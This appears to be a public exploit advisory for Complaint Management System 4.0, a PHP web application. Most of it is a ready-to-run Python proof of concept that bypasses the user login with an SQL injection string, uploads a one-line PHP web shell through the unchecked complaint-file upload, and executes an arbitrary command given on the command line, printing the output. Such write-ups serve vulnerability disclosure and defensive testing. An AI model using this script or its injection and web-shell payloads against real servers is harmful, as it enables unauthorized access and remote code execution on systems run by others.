# Exploit Title: Complaint Management System 4.0 - Remote Code Execution
# Exploit Author: Metin Yunus Kandemir
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/complaint-management-sytem/
# Version: v4.0
# Category: Webapps
# Tested on: Xampp for Windows
# Description:
# There isn't any file extension control at the "Register Complaint" section of user panel.
# An unauthorized user can upload and execute php file.
# Below basic python script will bypass authentication and execute command on target server.

poc.py

#!/usr/bin/python

import requests
import sys
                  

if len(sys.argv) !=3:
  print "[*] Usage: PoC.py rhost/rpath command"
  print "[*] e.g.: PoC.py 127.0.0.1/cms ipconfig"
  exit(0) 

rhost = sys.argv[1]
command = sys.argv[2]

#authentication bypass
url = "http://"+rhost+"/users/index.php"
data = {"username": "joke' or '1'='1'#", "password": "joke' or '1'='1'#", "submit": ""}

with requests.Session() as session:
  
  login = session.post(url, data=data, headers = {"Content-Type": "application/x-www-form-urlencoded"})

  
  #check authentication bypass
  check = session.get("http://"+rhost+"/users/dashboard.php", allow_redirects=False)
  print ("[*] Status code for login: %s"%check.status_code)
  if check.status_code == 200:
    print ("[+] Authentication bypass was successfull")
  else:
    print ("[-] Authentication bypass was unsuccessful")
    sys.exit()
  
  #upload php file
  ufile = {'compfile':('command.php', '<?php system($_GET["cmd"]); ?>')}
  fdata = {"category": "1", "subcategory": "Online Shopping", "complaintype": " Complaint", "state": "Punjab", "noc": "the end", "complaindetails": "the end","compfile": "commmand.php", "submit": ""}
  furl = "http://"+rhost+"/users/register-complaint.php"
  fupload = session.post(url=furl, files= ufile, data=fdata)

  #execution
  final=session.get("http://"+rhost+"/users/complaintdocs/command.php?cmd="+command)

  if final.status_code == 200:
    print "[+] Command execution completed successfully.\n"
    print "\tPut on a happy face.\n"
  else:
    print "[-] Command execution was unsuccessful."
    print "\tOne bad day!"
    sys.exit()

  print final.text